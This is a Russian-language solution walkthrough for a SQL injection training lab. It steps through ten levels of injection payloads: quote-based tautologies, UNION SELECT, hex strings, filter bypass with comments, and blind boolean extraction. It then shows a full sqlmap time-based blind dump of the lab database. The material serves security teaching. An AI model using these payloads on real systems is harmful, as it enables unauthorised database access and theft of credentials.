Таблица: users
Поля: id, login, pass

Введите запрос к базе данных:

SELECT * FROM users | Отправить

id	login	pass
1	root	qwer
2	qwer	rewq
3	sdfsdf	sdfsdfsdfsd
4	fsdfr	dfhgfhfg
5	gfhgfh	gfh
6	fghgf	fghfghfg
7	hfghg	fghgfhfg
8	fghgfh	fghgf
9	fghgf	fghfghgfh
10	fghfghfg	fghfgh
11	fghgfh	fghgfh
12	fghfgh	QwErTy

Ура, я знаю ответ (пароль пользователя с id=12):

QwErTy | Сдать

Таблица: users
Поля: id, login, pass
Запрос: SELECT * FROM users WHERE id=2 OR login='$text' (вместо $text подставляется введённое ниже значение)
Подсказка: использовать мозг и кавычку

$text = ' or id!='0 Отправить

id	login	pass
1	root	qwer
2	qwer	rewq
3	sdfsdf	sdfsdfsdfsd
4	fsdfr	dfhgfhfg
5	gfhgfh	gfh
6	fghgf	fghfghfg
7	hfghg	fghgfhfg
8	fghgfh	fghgf
9	secretlogin	secreto
10	fghfghfg	fghfgh
11	fghgfh	fghgfh
12	fghfgh	QwErTy

Ура, я знаю ответ (пароль пользователя с id=9):

secreto Сдать

Таблица: users
Поля: id, login, pass
Запрос: SELECT * FROM users WHERE id=2 OR login='$text' LIMIT 1
Подсказка: сравнить с предыдущим примером, найти отличие

$text = ' or id='13'# Отправить

id	login	pass
2	qwer	rewq
13	3lvl	iwanttogo4

Ура, я знаю ответ (пароль пользователя с id=13):

iwanttogo4 Сдать

Таблицы: users, secret
Поля таблицы users: id, login, pass
В таблице secret три поля
Запрос: SELECT * FROM users WHERE id=2 OR login='$text' LIMIT 1

$text = ' UNION SELECT * FROM secret# Отправить

id	login	pass
2	qwer	rewq
dfg	dfg	dfgdf
dfg	dfg	dfg
dfgdfg	super-secret-data	abc
dsf	sdfsd	sdfsdf

Ура, я знаю ответ (данные из таблицы secret с полем ggg='abc'):

super-secret-data Сдать

Таблицы: users, secret
Поля таблицы users: id, login, pass
В таблице secret два поля
Запрос: SELECT * FROM users WHERE id=2 OR login='$text' LIMIT 1

$text = ' UNION SELECT *,1 FROM secret# Отправить

id	login	pass
2	qwer	rewq
thisisapass232	sdfsdf	1

Ура, я знаю ответ (данные из таблицы secret):

thisisapass232 Сдать

Таблицы: users
Поля: id, login, pass
Запрос: SELECT * FROM users WHERE id=$text LIMIT 1
Подсказка: база пользователей стала дли-и-и-инная

Теперь всегда выводится только первая строка ответа (вне зависимости от того, сколько вернул SQL-запрос)
Фильтруются кавычки (' и ")

$text = 0 OR login=0x676f64 Отправить

id	login	pass
1041	god	ivarywantlevel7

Ура, я знаю ответ (пароль пользователя с логином god):

ivarywantlevel7 Сдать

Таблицы: users
Поля: id, login, pass
Запрос: SELECT * FROM users WHERE id=$text LIMIT 1
Подсказка: удачи

Теперь всегда выводится только первая строка ответа (вне зависимости от того, сколько вернул SQL-запрос)
Фильтруются символы ', ", +, =, запятая, пробел, скобки

$text = 0/**/or/**/login/**/like/**/0x2567656e746f6f25 Отправить

id	login	pass
896	happygentoouser	level8please

Ура, я знаю ответ (пароль пользователя с логином, содержащим подстроку gentoo):

level8please Сдать

Таблицы: users
Поля: id, login, pass
Запрос: SELECT * FROM users WHERE id=$text

Выводит только количество записей

$text = 0 or id<=(SELECT ASCII(MID(pass,10,1)) FROM users WHERE login='fast') Отправить

Количество записей: 0

Ура, я знаю ответ (пароль пользователя с логином fast):

9levlpass Сдать

57 108 101 118 108 112 97 115 115

Таблицы: users
Поля: id, login, pass
Запрос: SELECT * FROM users WHERE id=$text

Выводит только количество записей

$text = 0 or id <= MOD((SELECT SUM(login) FROM users WHERE id BETWEEN 20 AND 30),1000) Отправить

Количество записей: 225

Ура, я знаю ответ (сумма логинов пользователей с 20 <= id <= 30):

Сдать

Таблицы: users
Поля: id, login, pass
Запрос: SELECT * FROM users WHERE id=$text

Выводит только количество записей

$text = 0 or id <= (SELECT SUM(login) FROM users WHERE id BETWEEN 20 AND 30)/10 Отправить

Количество записей: 222

Ура, я знаю ответ (сумма логинов пользователей с 20 <= id <= 30):

2225 Сдать

```
teterin@teterin-pc:~/Документы/sqlmap-dev$ python sqlmap.py -u "https://sql.training.hackerdom.ru/10lastlevel.php?text=1" --dump
readline: ~/.inputrc: line 1: expand-tab: unknown variable name
readline: ~/.inputrc: line 2: tab-width: unknown variable name

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.12.9#dev}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to
obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by
 this program

[*] starting @ 23:38:20 /2023-12-28/

[23:38:20] [INFO] resuming back-end DBMS 'mysql'
[23:38:20] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: text (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: text=1 AND (SELECT 9224 FROM (SELECT(SLEEP(5)))Fbck)
---
[23:38:20] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[23:38:20] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[23:38:20] [INFO] fetching current database
[23:38:20] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[23:38:31] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disr
uptions
[23:38:41] [INFO] adjusting time delay to 1 second due to good response times
sql_level10
[23:39:23] [INFO] fetching tables for database: 'sql_level10'
[23:39:23] [INFO] fetching number of tables for database 'sql_level10'
[23:39:23] [INFO] retrieved: 1
[23:39:24] [INFO] retrieved: davidblayne
[23:40:04] [INFO] fetching columns for table 'davidblayne' in database 'sql_level10'
[23:40:04] [INFO] retrieved: 5
[23:40:07] [INFO] retrieved: first
[23:40:27] [INFO] retrieved: second
[23:40:51] [INFO] retrieved: chocolate
[23:41:27] [INFO] retrieved: wtf
[23:41:42] [INFO] retrieved: genius
[23:42:05] [INFO] fetching entries for table 'davidblayne' in database 'sql_level10'
[23:42:05] [INFO] fetching number of entries for table 'davidblayne' in database 'sql_level10'
```

```
[23:39:23] [INFO] retrieved: 1
[23:39:24] [INFO] retrieved: davidblayne
[23:40:04] [INFO] fetching columns for table 'davidblayne' in database 'sql_level10'
[23:40:04] [INFO] retrieved: 5
[23:40:07] [INFO] retrieved: first
[23:40:27] [INFO] retrieved: second
[23:40:51] [INFO] retrieved: chocolate
[23:41:27] [INFO] retrieved: wtf
[23:41:42] [INFO] retrieved: genius
[23:42:05] [INFO] fetching entries for table 'davidblayne' in database 'sql_level10'
[23:42:05] [INFO] fetching number of entries for table 'davidblayne' in database 'sql_level10'
[23:42:05] [INFO] retrieved: 1
[23:42:07] [WARNING] reflective value(s) found and filtering out of statistical model, please wait
.............................. (done)
55
[23:42:17] [INFO] retrieved: 44
[23:42:27] [INFO] retrieved: wantachocolate
[23:43:21] [INFO] retrieved: yes
[23:43:32] [INFO] retrieved: wtf?
Database: sql_level10
Table: davidblayne
[1 entry]
+------+--------+---------+----------+----------------+
| wtf  | genius | first   | second   | chocolate      |
+------+--------+---------+----------+----------------+
| wtf? | yes    | 55      | 44       | wantachocolate |
+------+--------+---------+----------+----------------+

[23:43:52] [INFO] table 'sql_level10.davidblayne' dumped to CSV file '/home/teterin/.local/share/sqlmap/output/sql.training.hackerdom.ru/dump/sql_level10/davidblayne.csv'
[23:43:52] [INFO] fetched data logged to text files under '/home/teterin/.local/share/sqlmap/output/sql.training.hackerdom.ru'

[*] ending @ 23:43:52 /2023-12-28/
```